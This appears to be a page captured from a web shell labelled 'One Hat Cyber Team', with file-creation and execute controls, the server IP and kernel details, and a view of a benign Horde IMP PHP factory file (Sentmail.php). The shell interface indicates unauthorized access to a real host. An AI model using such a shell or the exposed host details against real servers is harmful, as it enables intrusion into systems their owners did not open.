⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Factory
/
View File Name :
Sentmail.php
* @category Horde * @copyright 2010-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ class IMP_Factory_Sentmail extends Horde_Core_Factory_Injector { /** * Return the IMP_Sentmail instance. * * @return IMP_Sentmail The singleton instance. * @throws IMP_Exception */ public function create(Horde_Injector $injector) { $driver = empty($GLOBALS['conf']['sentmail']['driver']) ? 'null' : $GLOBALS['conf']['sentmail']['driver']; $params = Horde::getDriverConfig('sentmail', $driver); switch (Horde_String::lower($driver)) { case 'nosql': $nosql = $injector->getInstance('Horde_Core_Factory_Nosql')->create('imp', 'sentmail'); if ($nosql instanceof Horde_Mongo_Client) { $params['mongo_db'] = $nosql; $driver = 'Mongo'; } break; case 'sql': $params['db'] = $injector->getInstance('Horde_Core_Factory_Db')->create('imp', 'sentmail'); break; default: $driver = 'null'; break; } $class = $this->_getDriverName($driver, 'IMP_Sentmail'); return new $class($params); } }